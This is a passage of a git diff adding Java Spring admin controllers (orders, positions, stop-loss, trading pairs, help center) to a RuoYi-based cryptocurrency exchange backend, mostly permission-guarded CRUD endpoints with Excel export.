tContractCoinService.selectTContractCoinList(tContractCoin); + return getDataTable(list); + } + + /** + * 导出U本位合约币种列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:export')") + @Log(title = "U本位合约币种", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractCoin tContractCoin) { + List list = tContractCoinService.selectTContractCoinList(tContractCoin); + ExcelUtil util = new ExcelUtil(TContractCoin.class); + util.exportExcel(response, list, "U本位合约币种数据"); + } + + /** + * 获取U本位合约币种详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tContractCoinService.selectTContractCoinById(id)); + } + + /** + * 新增U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:add')") + @Log(title = "U本位合约币种", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractCoin tContractCoin) { + int result = tContractCoinService.insertTContractCoin(tContractCoin); + if (10001==result){ + return AjaxResult.error("币种请勿重复添加!"); + } + return toAjax(tContractCoinService.insertTContractCoin(tContractCoin)); + } + + /** + * 修改U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:edit')") + @Log(title = "U本位合约币种", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractCoin tContractCoin) { + return toAjax(tContractCoinService.updateTContractCoin(tContractCoin)); + } + + /** + * 删除U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:remove')") + @Log(title = "U本位合约币种", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tContractCoinService.deleteTContractCoinByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java new file mode 100644 index 0000000..fc79a68 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java @@ -0,0 +1,108 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 止盈止损表Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/contractLoss") +public class TContractLossController extends BaseController +{ + @Autowired + private ITContractLossService tContractLossService; + + /** + * 查询止盈止损表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:list')") + @GetMapping("/list") + public TableDataInfo list(TContractLoss tContractLoss) + { + startPage(); + List list = tContractLossService.selectTContractLossList(tContractLoss); + return getDataTable(list); + } + + /** + * 导出止盈止损表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:export')") + @Log(title = "止盈止损表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractLoss tContractLoss) + { + List list = tContractLossService.selectTContractLossList(tContractLoss); + ExcelUtil util = new ExcelUtil(TContractLoss.class); + util.exportExcel(response, list, "止盈止损表数据"); + } + + /** + * 获取止盈止损表详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tContractLossService.selectTContractLossById(id)); + } + + /** + * 新增止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:add')") + @Log(title = "止盈止损表", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractLoss tContractLoss) + { + return toAjax(tContractLossService.insertTContractLoss(tContractLoss)); + } + + /** + * 修改止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:edit')") + @Log(title = "止盈止损表", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractLoss tContractLoss) + { + return toAjax(tContractLossService.updateTContractLoss(tContractLoss)); + } + + /** + * 删除止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:remove')") + @Log(title = "止盈止损表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tContractLossService.deleteTContractLossByIds(ids)); + } + @PostMapping("/settMent") + @ResponseBody + public AjaxResult settMent(@RequestBody TContractLoss contractLoss) { + String result = tContractLossService.cntractLossSett( contractLoss); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java new file mode 100644 index 0000000..6cceb80 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.service.ITContractOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位委托Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/contractOrder") +public class TContractOrderController extends BaseController +{ + @Autowired + private ITContractOrderService tContractOrderService; + + /** + * 查询U本位委托列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TContractOrder tContractOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tContractOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tContractOrderService.selectTContractOrderList(tContractOrder); + return getDataTable(list); + } + + /** + * 导出U本位委托列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:export')") + @Log(title = "U本位委托", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractOrder tContractOrder) + { + List list = tContractOrderService.selectTContractOrderList(tContractOrder); + ExcelUtil util = new ExcelUtil(TContractOrder.class); + util.exportExcel(response, list, "U本位委托数据"); + } + + /** + * 获取U本位委托详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tContractOrderService.selectTContractOrderById(id)); + } + + /** + * 新增U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:add')") + @Log(title = "U本位委托", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractOrder tContractOrder) + { + return toAjax(tContractOrderService.insertTContractOrder(tContractOrder)); + } + + /** + * 修改U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:edit')") + @Log(title = "U本位委托", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractOrder tContractOrder) + { + return toAjax(tContractOrderService.updateTContractOrder(tContractOrder)); + } + + /** + * 删除U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:remove')") + @Log(title = "U本位委托", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tContractOrderService.deleteTContractOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java new file mode 100644 index 0000000..32fbb7a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java @@ -0,0 +1,208 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import io.swagger.annotations.ApiOperation; +import org.apache.poi.ss.formula.functions.T; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位持仓表Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/position") +public class TContractPositionController extends BaseController { + @Autowired + private ITContractPositionService tContractPositionService; + + @Autowired + private ITContractLossService contractLossService; + + @Resource + private RedisCache redisCache; + /** + * 查询U本位持仓表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:list')") + @GetMapping("/list") + public TableDataInfo list(TContractPosition tContractPosition) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tContractPosition.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tContractPositionService.selectTContractPositionList(tContractPosition); + for (TContractPosition t : list) { + BigDecimal earnRate = Objects.isNull(t.getEarnRate()) ? BigDecimal.ZERO : t.getEarnRate(); + BigDecimal adjustAmount=t.getAdjustAmount(); + //rxce + BigDecimal bigDecimal =adjustAmount.add((adjustAmount.multiply(t.getLeverage()).multiply(earnRate).setScale(4, RoundingMode.UP))); + //需要补多少仓 + BigDecimal subzs=bigDecimal.subtract(t.getRemainMargin()); + if(subzs.compareTo(BigDecimal.ZERO)<0){ + subzs=BigDecimal.ZERO; + } + t.setSubAmount(bigDecimal); + Map params = new HashMap<>(); + + Long days= Objects.nonNull(t.getDeliveryDays())?t.getDeliveryDays()*3600*24*1000:0L; + params.put("subTime", Objects.nonNull(t.getSubTime())?t.getSubTime().getTime()+days:0L); + Long sub=System.currentTimeMillis()-t.getCreateTime().getTime(); + Long result=t.getDeliveryDays()*3600*24*1000-sub; + if(result<0){ + result=0L; + } + params.put("deliveryDays", Objects.nonNull(t.getDeliveryDays())?result:0L); + t.setParams(params); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getSymbol().toLowerCase()); + if (Objects.nonNull(currentlyPrice)) { + BigDecimal earn = ContractComputerUtil.getPositionEarn(t.getOpenPrice(), t.getOpenNum(), currentlyPrice, t.getType()); + Integer status = t.getStatus(); + t.setUreate(earn); + if (1 == status) { + t.setUreate(t.getEarn()); + } + } + } + return getDataTable(list); + } + + /** + * 导出U本位持仓表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:export')") + @Log(title = "U本位持仓表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractPosition tContractPosition) { + List list = tContractPositionService.selectTContractPositionList(tContractPosition); + ExcelUtil util = new ExcelUtil(TContractPosition.class); + util.exportExcel(response, list, "U本位持仓表数据"); + } + + /** + * 获取U本位持仓表详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tContractPositionService.selectTContractPositionById(id)); + } + + /** + * 新增U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:add')") + @Log(title = "U本位持仓表", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractPosition tContractPosition) { + return toAjax(tContractPositionService.insertTContractPosition(tContractPosition)); + } + + /** + * 修改U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:edit')") + @Log(title = "U本位持仓表", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractPosition tContractPosition) { + int count=tContractPositionService.updateTContractPosition(tContractPosition); + return toAjax(count); + } + + /** + * 删除U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:remove')") + @Log(title = "U本位持仓表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tContractPositionService.deleteTContractPositionByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:query')") + @PostMapping("contractLoss/{id}") + public TableDataInfo contractLoss(@PathVariable Long id) { + TContractLoss tContractLoss = new TContractLoss(); + tContractLoss.setPositionId(id); + startPage(); + List list = contractLossService.selectTContractLossList(tContractLoss); + return getDataTable(list); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:pass')") + @Log(title = "平仓审核", businessType = BusinessType.UPDATE) + @PutMapping("/pass") + public AjaxResult pass(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.pass(tContractPosition); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:reject')") + @Log(title = "平仓审核", businessType = BusinessType.UPDATE) + @PutMapping("/reject") + public AjaxResult reject(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.reject(tContractPosition); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:position:stopPosition')") + @Log(title = "平仓", businessType = BusinessType.UPDATE) + @PostMapping("/stopPositon") + public AjaxResult stopPositon(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.stopPosition(tContractPosition.getId()); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:position:stopAll')") + @Log(title = "一键爆仓", businessType = BusinessType.UPDATE) + @PostMapping("/stopAllPositon") + public AjaxResult stopAllPositon(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.stopAllPosition(tContractPosition.getId()); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java new file mode 100644 index 0000000..a1b9db4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.service.ITCurrencyOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币币交易订单Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/currency/order") +public class TCurrencyOrderController extends BaseController +{ + @Autowired + private ITCurrencyOrderService tCurrencyOrderService; + + /** + * 查询币币交易订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:list')") + @GetMapping("/list") + public TableDataInfo list(TCurrencyOrder tCurrencyOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tCurrencyOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + return getDataTable(list); + } + + /** + * 导出币币交易订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:export')") + @Log(title = "币币交易订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencyOrder tCurrencyOrder) + { + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + ExcelUtil util = new ExcelUtil(TCurrencyOrder.class); + util.exportExcel(response, list, "币币交易订单数据"); + } + + /** + * 获取币币交易订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencyOrderService.selectTCurrencyOrderById(id)); + } + + /** + * 新增币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:add')") + @Log(title = "币币交易订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCurrencyOrder tCurrencyOrder) + { + return toAjax(tCurrencyOrderService.insertTCurrencyOrder(tCurrencyOrder)); + } + + /** + * 修改币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:edit')") + @Log(title = "币币交易订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCurrencyOrder tCurrencyOrder) + { + return toAjax(tCurrencyOrderService.updateTCurrencyOrder(tCurrencyOrder)); + } + + /** + * 删除币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:remove')") + @Log(title = "币币交易订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencyOrderService.deleteTCurrencyOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java new file mode 100644 index 0000000..d9f5480 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java @@ -0,0 +1,124 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币币交易币种配置Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/currency/symbol") +public class TCurrencySymbolController extends BaseController +{ + @Autowired + private ITCurrencySymbolService tCurrencySymbolService; + + + @PreAuthorize("@ss.hasPermi('currency:symbol:addBatch')") + @Log(title = "币币交易币种配置", businessType = BusinessType.INSERT) + @PostMapping("/addBatch") + public AjaxResult batchSave( String[] symbols) + { + tCurrencySymbolService.batchSave(symbols); + return AjaxResult.success(); + } + /** + * 查询币币交易币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:list')") + @GetMapping("/list") + public TableDataInfo list(TCurrencySymbol tCurrencySymbol) + { + startPage(); + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + return getDataTable(list); + } + + /** + * 导出币币交易币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:export')") + @Log(title = "币币交易币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + ExcelUtil util = new ExcelUtil(TCurrencySymbol.class); + util.exportExcel(response, list, "币币交易币种配置数据"); + } + + /** + * 获取币币交易币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencySymbolService.selectTCurrencySymbolById(id)); + } + + /** + * 新增币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:add')") + @Log(title = "币币交易币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCurrencySymbol tCurrencySymbol) + { + TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper() + .eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase())); + if (currencySymbol!=null){ + return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在"); + } + return toAjax(tCurrencySymbolService.insertTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 修改币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:edit')") + @Log(title = "币币交易币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCurrencySymbol tCurrencySymbol) + {TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper() + .eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase())); + if (currencySymbol!=null && !currencySymbol.getId().equals(tCurrencySymbol.getId())){ + return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在"); + } + return toAjax(tCurrencySymbolService.updateTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 删除币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:remove')") + @Log(title = "币币交易币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencySymbolService.deleteTCurrencySymbolByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java new file mode 100644 index 0000000..37357a4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java @@ -0,0 +1,47 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; +import java.util.List; + +/** + * 币种兑换记录Controller + * + * @author ruoyi + * @date 2023-07-07 + */ +@RestController +@RequestMapping("/bussiness/texchange") +public class TExchangeCoinRecordController extends BaseController +{ + @Autowired + private ITExchangeCoinRecordService tExchangeCoinRecordService; + + /** + * 查询币种兑换记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:texchange:list')") + @GetMapping("/list") + public TableDataInfo list(TExchangeCoinRecord tExchangeCoinRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tExchangeCoinRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + return getDataTable(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java new file mode 100644 index 0000000..2083b27 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java @@ -0,0 +1,117 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 帮助中心Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/helpcenter") +public class THelpCenterController extends BaseController +{ + @Autowired + private ITHelpCenterService tHelpCenterService; + @Resource + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenter tHelpCenter) + { + startPage(); + List list = tHelpCenterService.selectTHelpCenterList(tHelpCenter); + return getDataTable(list); + } + + /** + * 导出帮助中心列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:export')") + @Log(title = "帮助中心", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THelpCenter tHelpCenter) + { + List list = tHelpCenterService.selectTHelpCenterList(tHelpCenter); + ExcelUtil util = new ExcelUtil(THelpCenter.class); + util.exportExcel(response, list, "帮助中心数据"); + } + + /** + * 获取帮助中心详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterService.selectTHelpCenterById(id)); + } + + /** + * 新增帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:add')") + @Log(title = "帮助中心", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THelpCenter tHelpCenter) + { + return 